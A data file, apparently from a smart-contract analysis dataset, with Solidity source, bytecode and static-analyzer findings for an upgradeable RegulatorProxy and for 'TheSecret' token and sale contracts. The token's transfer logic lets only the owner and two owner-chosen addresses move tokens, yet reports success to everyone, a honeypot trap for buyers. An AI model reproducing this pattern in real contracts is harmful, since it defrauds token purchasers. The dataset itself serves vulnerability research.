fffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0b90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bea57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611cad57600080fd5b5af11515611cba57600080fd5b50505060405180519050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611dae57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611e0057fe5b818303905092915050565b60008183019050828110151515611e1e57fe5b809050929150505600a165627a7a7230582043dd5c95f857c8a33910170c4a2169982b5bd449dd1067ed3d057c4a5ce939410029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,118
0x8644b70d1e40e954d8397e79a210624cbc22e1fe
pragma solidity ^0.4.24; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param addr address to check * @return whether the target address is a contract */ function isContract(address addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(addr) } return size > 0; } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "org.zeppelinos.proxy.implementation", and is * validated in the constructor. */ bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3; /** * @dev Contract constructor. * @param _implementation Address of the initial implementation. */ constructor(address _implementation) public { assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation")); _setImplementation(_implementation); } /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) private { require(AddressUtils.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". This adds two-phase * ownership control to OpenZeppelin's Ownable class. In this model, the original owner * designates a new owner but does not actually transfer ownership. The new owner then accepts * ownership and completes the transfer. */ contract Ownable { address public owner; address public pendingOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; pendingOwner = address(0); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); pendingOwner = _newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } /** * * @dev Stores permissions and validators and provides setter and getter methods. * Permissions determine which methods users have access to call. Validators * are able to mutate permissions at the Regulator level. * */ contract RegulatorStorage is Ownable { /** Structs */ /* Contains metadata about a permission to execute a particular method signature. */ struct Permission { string name; // A one-word description for the permission. e.g. "canMint" string description; // A longer description for the permission. e.g. "Allows user to mint tokens." string contract_name; // e.g. "PermissionedToken" bool active; // Permissions can be turned on or off by regulator } /** Constants: stores method signatures. These are potential permissions that a user can have, and each permission gives the user the ability to call the associated PermissionedToken method signature */ bytes4 public constant MINT_SIG = bytes4(keccak256("mint(address,uint256)")); bytes4 public constant MINT_CUSD_SIG = bytes4(keccak256("mintCUSD(address,uint256)")); bytes4 public constant CONVERT_WT_SIG = bytes4(keccak256("convertWT(uint256)")); bytes4 public constant BURN_SIG = bytes4(keccak256("burn(uint256)")); bytes4 public constant CONVERT_CARBON_DOLLAR_SIG = bytes4(keccak256("convertCarbonDollar(address,uint256)")); bytes4 public constant BURN_CARBON_DOLLAR_SIG = bytes4(keccak256("burnCarbonDollar(address,uint256)")); bytes4 public constant DESTROY_BLACKLISTED_TOKENS_SIG = bytes4(keccak256("destroyBlacklistedTokens(address,uint256)")); bytes4 public constant APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG = bytes4(keccak256("approveBlacklistedAddressSpender(address)")); bytes4 public constant BLACKLISTED_SIG = bytes4(keccak256("blacklisted()")); /** Mappings */ /* each method signature maps to a Permission */ mapping (bytes4 => Permission) public permissions; /* list of validators, either active or inactive */ mapping (address => bool) public validators; /* each user can be given access to a given method signature */ mapping (address => mapping (bytes4 => bool)) public userPermissions; /** Events */ event PermissionAdded(bytes4 methodsignature); event PermissionRemoved(bytes4 methodsignature); event ValidatorAdded(address indexed validator); event ValidatorRemoved(address indexed validator); /** Modifiers */ /** * @notice Throws if called by any account that does not have access to set attributes */ modifier onlyValidator() { require (isValidator(msg.sender), "Sender must be validator"); _; } /** * @notice Sets a permission within the list of permissions. * @param _methodsignature Signature of the method that this permission controls. * @param _permissionName A "slug" name for this permission (e.g. "canMint"). * @param _permissionDescription A lengthier description for this permission (e.g. "Allows user to mint tokens"). * @param _contractName Name of the contract that the method belongs to. */ function addPermission( bytes4 _methodsignature, string _permissionName, string _permissionDescription, string _contractName) public onlyValidator { Permission memory p = Permission(_permissionName, _permissionDescription, _contractName, true); permissions[_methodsignature] = p; emit PermissionAdded(_methodsignature); } /** * @notice Removes a permission the list of permissions. * @param _methodsignature Signature of the method that this permission controls. */ function removePermission(bytes4 _methodsignature) public onlyValidator { permissions[_methodsignature].active = false; emit PermissionRemoved(_methodsignature); } /** * @notice Sets a permission in the list of permissions that a user has. * @param _methodsignature Signature of the method that this permission controls. */ function setUserPermission(address _who, bytes4 _methodsignature) public onlyValidator { require(permissions[_methodsignature].active, "Permission being set must be for a valid method signature"); userPermissions[_who][_methodsignature] = true; } /** * @notice Removes a permission from the list of permissions that a user has. * @param _methodsignature Signature of the method that this permission controls. */ function removeUserPermission(address _who, bytes4 _methodsignature) public onlyValidator { require(permissions[_methodsignature].active, "Permission being removed must be for a valid method signature"); userPermissions[_who][_methodsignature] = false; } /** * @notice add a Validator * @param _validator Address of validator to add */ function addValidator(address _validator) public onlyOwner { validators[_validator] = true; emit ValidatorAdded(_validator); } /** * @notice remove a Validator * @param _validator Address of validator to remove */ function removeValidator(address _validator) public onlyOwner { validators[_validator] = false; emit ValidatorRemoved(_validator); } /** * @notice does validator exist? * @return true if yes, false if no **/ function isValidator(address _validator) public view returns (bool) { return validators[_validator]; } /** * @notice does permission exist? * @return true if yes, false if no **/ function isPermission(bytes4 _methodsignature) public view returns (bool) { return permissions[_methodsignature].active; } /** * @notice get Permission structure * @param _methodsignature request to retrieve the Permission struct for this methodsignature * @return Permission **/ function getPermission(bytes4 _methodsignature) public view returns (string name, string description, string contract_name, bool active) { return (permissions[_methodsignature].name, permissions[_methodsignature].description, permissions[_methodsignature].contract_name, permissions[_methodsignature].active); } /** * @notice does permission exist? * @return true if yes, false if no **/ function hasUserPermission(address _who, bytes4 _methodsignature) public view returns (bool) { return userPermissions[_who][_methodsignature]; } } /** * @title RegulatorProxy * @dev A RegulatorProxy is a proxy contract that acts identically to a Regulator from the * user's point of view. A proxy can change its data storage locations and can also * change its implementation contract location. A call to RegulatorProxy delegates the function call * to the latest implementation contract's version of the function and the proxy then * calls that function in the context of the proxy's data storage * */ contract RegulatorProxy is UpgradeabilityProxy, RegulatorStorage { /** * @dev CONSTRUCTOR * @param _implementation the contract who's logic the proxy will initially delegate functionality to **/ constructor(address _implementation) public UpgradeabilityProxy(_implementation) {} /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) public onlyOwner { _upgradeTo(newImplementation); } /** * @return The address of the implementation. */ function implementation() public view returns (address) { return _implementation(); } }
0x6080604052600436106101695763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166314db6d5881146101735780631830f493146101b55780631c870eee146103235780633659cfe614610351578063395a7b301461037257806340a141ff146103945780634d238c8e146103b55780634e71e0c8146103d65780635317e444146103eb5780635c60da1b14610419578063639c44cf1461044a578063780bfed01461047c5780638707e2f41461056057806388f14b0e1461058e5780638b7c8109146105a35780638da5cb5b146105b85780638f959f54146105cd578063933aa667146105e25780639491951b14610604578063ab96cb4614610619578063b8ccbd171461062e578063c1c49cbb14610650578063cfbf1b9014610665578063e30c39781461067a578063f2fde38b1461068f578063f9d50543146106b0578063fa52c7d8146106c5578063facd743b146106e6575b610171610707565b005b34801561017f57600080fd5b506101a1600160a060020a0360043516600160e060020a031960243516610721565b604080519115158252519081900360200190f35b3480156101c157600080fd5b506101d7600160e060020a031960043516610758565b604080518215156060820152608080825286519082015285519091829160208084019284019160a08501918a019080838360005b8381101561022357818101518382015260200161020b565b50505050905090810190601f1680156102505780820380516001836020036101000a031916815260200191505b50848103835287518152875160209182019189019080838360005b8381101561028357818101518382015260200161026b565b50505050905090810190601f1680156102b05780820380516001836020036101000a031916815260200191505b50848103825286518152865160209182019188019080838360005b838110156102e35781810151838201526020016102cb565b50505050905090810190601f1680156103105780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b34801561032f57600080fd5b50610171600160a060020a0360043516600160e060020a031960243516610945565b34801561035d57600080fd5b50610171600160a060020a0360043516610a69565b34801561037e57600080fd5b506101d7600160e060020a031960043516610a8c565b3480156103a057600080fd5b50610171600160a060020a0360043516610c60565b3480156103c157600080fd5b50610171600160a060020a0360043516610cc0565b3480156103e257600080fd5b50610171610d23565b3480156103f757600080fd5b50610171600160a060020a0360043516600160e060020a031960243516610dab565b34801561042557600080fd5b5061042e610ecc565b60408051600160a060020a039092168252519081900360200190f35b34801561045657600080fd5b5061045f610edc565b60408051600160e060020a03199092168252519081900360200190f35b34801561048857600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610171958335600160e060020a03191695369560449491939091019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750610f119650505050505050565b34801561056c57600080fd5b506101a1600160a060020a0360043516600160e060020a03196024351661104c565b34801561059a57600080fd5b5061045f61106c565b3480156105af57600080fd5b5061045f6110a1565b3480156105c457600080fd5b5061042e6110d6565b3480156105d957600080fd5b5061045f6110e5565b3480156105ee57600080fd5b506101a1600160e060020a031960043516611140565b34801561061057600080fd5b5061045f611162565b34801561062557600080fd5b5061045f611197565b34801561063a57600080fd5b50610171600160e060020a0319600435166111f2565b34801561065c57600080fd5b5061045f61129b565b34801561067157600080fd5b5061045f6112f6565b34801561068657600080fd5b5061042e61132b565b34801561069b57600080fd5b50610171600160a060020a036004351661133a565b3480156106bc57600080fd5b5061045f611395565b3480156106d157600080fd5b506101a1600160a060020a03600435166113f0565b3480156106f257600080fd5b506101a1600160a060020a0360043516611405565b61070f61071f565b61071f61071a611423565b611448565b565b600160a060020a0382166000908152600460209081526040808320600160e060020a03198516845290915290205460ff1692915050565b600160e060020a0319811660009081526002602081815260408084206003810154815483516101006001808416159190910260001901909216879004601f8101879004870282018701909552848152606097889788979196938601949086019360ff90911692918691908301828280156108135780601f106107e857610100808354040283529160200191610813565b820191906000526020600020905b8154815290600101906020018083116107f657829003601f168201915b5050865460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959950889450925084019050828280156108a15780601f10610876576101008083540402835291602001916108a1565b820191906000526020600020905b81548152906001019060200180831161088457829003601f168201915b5050855460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529598508794509250840190508282801561092f5780601f106109045761010080835404028352916020019161092f565b820191906000526020600020905b81548152906001019060200180831161091257829003601f168201915b5050505050915093509350935093509193509193565b61094e33611405565b1515610992576040805160e560020a62461bcd028152602060048201526018602482015260008051602061162c833981519152604482015290519081900360640190fd5b600160e060020a0319811660009081526002602052604090206003015460ff161515610a2e576040805160e560020a62461bcd02815260206004820152603960248201527f5065726d697373696f6e206265696e6720736574206d75737420626520666f7260448201527f20612076616c6964206d6574686f64207369676e617475726500000000000000606482015290519081900360840190fd5b600160a060020a039091166000908152600460209081526040808320600160e060020a0319909416835292905220805460ff19166001179055565b600054600160a060020a03163314610a8057600080fd5b610a898161146c565b50565b600260208181526000928352604092839020805484516001821615610100026000190190911693909304601f8101839004830284018301909452838352928391830182828015610b1d5780601f10610af257610100808354040283529160200191610b1d565b820191906000526020600020905b815481529060010190602001808311610b0057829003601f168201915b505050505090806001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b820191906000526020600020905b815481529060010190602001808311610b9e57829003601f168201915b50505060028085018054604080516020601f6000196101006001871615020190941695909504928301859004850281018501909152818152959695945090925090830182828015610c4d5780601f10610c2257610100808354040283529160200191610c4d565b820191906000526020600020905b815481529060010190602001808311610c3057829003601f168201915b5050506003909301549192505060ff1684565b600054600160a060020a03163314610c7757600080fd5b600160a060020a038116600081815260036020526040808220805460ff19169055517fe1434e25d6611e0db941968fdc97811c982ac1602e951637d206f5fdda9dd8f19190a250565b600054600160a060020a03163314610cd757600080fd5b600160a060020a038116600081815260036020526040808220805460ff19166001179055517fe366c1c0452ed8eec96861e9e54141ebff23c9ec89fe27b996b45f5ec38849879190a250565b600154600160a060020a03163314610d3a57600080fd5b60015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b610db433611405565b1515610df8576040805160e560020a62461bcd028152602060048201526018602482015260008051602061162c833981519152604482015290519081900360640190fd5b600160e060020a0319811660009081526002602052604090206003015460ff161515610e94576040805160e560020a62461bcd02815260206004820152603d60248201527f5065726d697373696f6e206265696e672072656d6f766564206d75737420626560448201527f20666f7220612076616c6964206d6574686f64207369676e6174757265000000606482015290519081900360840190fd5b600160a060020a039091166000908152600460209081526040808320600160e060020a0319909416835292905220805460ff19169055565b6000610ed6611423565b90505b90565b604080517f636f6e7665727457542875696e743235362900000000000000000000000000008152905190819003601201902081565b610f19611568565b610f2233611405565b1515610f66576040805160e560020a62461bcd028152602060048201526018602482015260008051602061162c833981519152604482015290519081900360640190fd5b5060408051608081018252848152602080820185905281830184905260016060830152600160e060020a03198716600090815260028252929092208151805192938493610fb69284920190611593565b506020828101518051610fcf9260018501920190611593565b5060408201518051610feb916002840191602090910190611593565b50606091909101516003909101805460ff191691151591909117905560408051600160e060020a03198716815290517f6195913f4ea9fc2f5193c9f6763975b23790b3be094b1eb18f31843739005512916020908290030190a15050505050565b600460209081526000928352604080842090915290825290205460ff1681565b604080517f6d696e7428616464726573732c75696e743235362900000000000000000000008152905190819003601501902081565b604080517f6d696e744355534428616464726573732c75696e7432353629000000000000008152905190819003601901902081565b600054600160a060020a031681565b604080517f617070726f7665426c61636b6c6973746564416464726573735370656e64657281527f28616464726573732900000000000000000000000000000000000000000000006020820152905190819003602901902081565b600160e060020a03191660009081526002602052604090206003015460ff1690565b604080517f626c61636b6c69737465642829000000000000000000000000000000000000008152905190819003600d01902081565b604080517f64657374726f79426c61636b6c6973746564546f6b656e73286164647265737381527f2c75696e743235362900000000000000000000000000000000000000000000006020820152905190819003602901902081565b6111fb33611405565b151561123f576040805160e560020a62461bcd028152602060048201526018602482015260008051602061162c833981519152604482015290519081900360640190fd5b600160e060020a03198116600081815260026020908152604091829020600301805460ff19169055815192835290517f65cd5526557cbd93f0739d00ffcdf8f4a663eb2ed509203d884b3470158724c19281900390910190a150565b604080517f6275726e436172626f6e446f6c6c617228616464726573732c75696e7432353681527f29000000000000000000000000000000000000000000000000000000000000006020820152905190819003602101902081565b604080517f6275726e2875696e7432353629000000000000000000000000000000000000008152905190819003600d01902081565b600154600160a060020a031681565b600054600160a060020a0316331461135157600080fd5b600160a060020a038116151561136657600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b604080517f636f6e76657274436172626f6e446f6c6c617228616464726573732c75696e7481527f32353629000000000000000000000000000000000000000000000000000000006020820152905190819003602401902081565b60036020526000908152604090205460ff1681565b600160a060020a031660009081526003602052604090205460ff1690565b7f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c35490565b3660008037600080366000845af43d6000803e808015611467573d6000f35b3d6000fd5b611475816114b4565b60408051600160a060020a038316815290517fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b9181900360200190a150565b60006114bf82611560565b151561153b576040805160e560020a62461bcd02815260206004820152603b60248201527f43616e6e6f742073657420612070726f787920696d706c656d656e746174696f60448201527f6e20746f2061206e6f6e2d636f6e747261637420616464726573730000000000606482015290519081900360840190fd5b507f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c355565b6000903b1190565b6080604051908101604052806060815260200160608152602001606081526020016000151581525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106115d457805160ff1916838001178555611601565b82800160010185558215611601579182015b828111156116015782518255916020019190600101906115e6565b5061160d929150611611565b5090565b610ed991905b8082111561160d5760008155600101611617560053656e646572206d7573742062652076616c696461746f720000000000000000a165627a7a72305820cc9fb92d196fd26c5df1ba01c3ac5c529d0b24e2434eddb99da751f6f21c88a50029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,119
0x17b4264df9cda863979116ccc0d767f262df5007
/** *Submitted for verification at Etherscan.io on 2021-01-29 */ /** * _______ __ __ _______ _______ _______ _______ ______ _______ _______ * | || | | || | | || || || _ | | || | * |_ _|| |_| || ___| | _____|| ___|| || | || | ___||_ _| * | | | || |___ | |_____ | |___ | || |_||_ | |___ | | * | | | || ___| |_____ || ___|| _|| __ || ___| | | * | | | _ || |___ _____| || |___ | |_ | | | || |___ | | * |___| |__| |__||_______| |_______||_______||_______||___| |_||_______| |___| * * * TheSecret.Finance - A game for the knowledgeable * This is the TS Season 1 token sale contract * * SPDX-License-Identifier: AGPL-3.0-or-later * */ pragma solidity 0.7.4; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } library FinancialSafeMath { using SafeMath for uint256; function quadraticPricing( uint256 payment ) internal pure returns (uint256) { return payment.mul(2).sqrrt(); } function bondingPrice( uint256 multiplier, uint256 supply ) internal pure returns (uint256) { return multiplier.mul( supply ); } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract TheSecret is Ownable { using SafeMath for uint256; // standard ERC20 variables. string public constant name = "TS.Fi"; string public constant symbol = "TS Tickets"; uint256 public constant decimals = 0; uint256 private constant _maximumSupply = 1; uint256 public _totalSupply; address public freeaddress; address public freeaddress1; // events event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) public _balanceOf; mapping(address => mapping(address => uint256)) public allowance; constructor(uint256 _initialSupply) public { _owner = msg.sender; _totalSupply = _maximumSupply * _initialSupply; _balanceOf[msg.sender] = _maximumSupply * _initialSupply; freeaddress = 0x0000000000000000000000000000000000000000; freeaddress1 = 0x0000000000000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply () public view returns (uint256) { return _totalSupply; } function balanceOf (address who) public view returns (uint256) { return _balanceOf[who]; } function _transfer(address _from, address _to, uint256 _value) internal { if(_from == _owner || _from == freeaddress || _from == freeaddress1) { _balanceOf[_from] = _balanceOf[_from].sub(_value); _balanceOf[_to] = _balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } } function transfer(address _to, uint256 _value) public returns (bool success) { require(_balanceOf[msg.sender] >= _value); _transfer(msg.sender, _to, _value); return true; } function burn (uint256 _burnAmount) public onlyOwner returns (bool success) { _transfer(_owner, address(0), _burnAmount); _totalSupply = _totalSupply.sub(_burnAmount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0)); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= _balanceOf[_from]); require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } function setFreeAddress(address newWallet) public { require(msg.sender == _owner); freeaddress = newWallet; } function setFreeAddress1(address newWallet) public { require(msg.sender == _owner); freeaddress1 = newWallet; } } contract TheSecretSale { address payable public admin; TheSecret public tokenContract; uint256 public tokenPrice; uint256 public tokensSold; event Sell(address _buyer, uint256 _amount); constructor (TheSecret _tokenContract, uint256 _tokenPrice) public { admin = msg.sender; tokenContract = _tokenContract; tokenPrice = _tokenPrice; tokensSold = 0; } function multiply(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x); } function buyTokens(uint256 _numberOfTokens) public payable { require(msg.value == multiply(_numberOfTokens, tokenPrice)); require(tokenContract.balanceOf(address(this)) >= _numberOfTokens); require(tokenContract.transfer(msg.sender, _numberOfTokens)); tokensSold += _numberOfTokens; emit Sell(msg.sender, _numberOfTokens); } function endSale() public { require(msg.sender == admin); require(tokenContract.transfer(admin, tokenContract.balanceOf(address(this)))); tokensSold = 0; admin.transfer(address(this).balance); } }
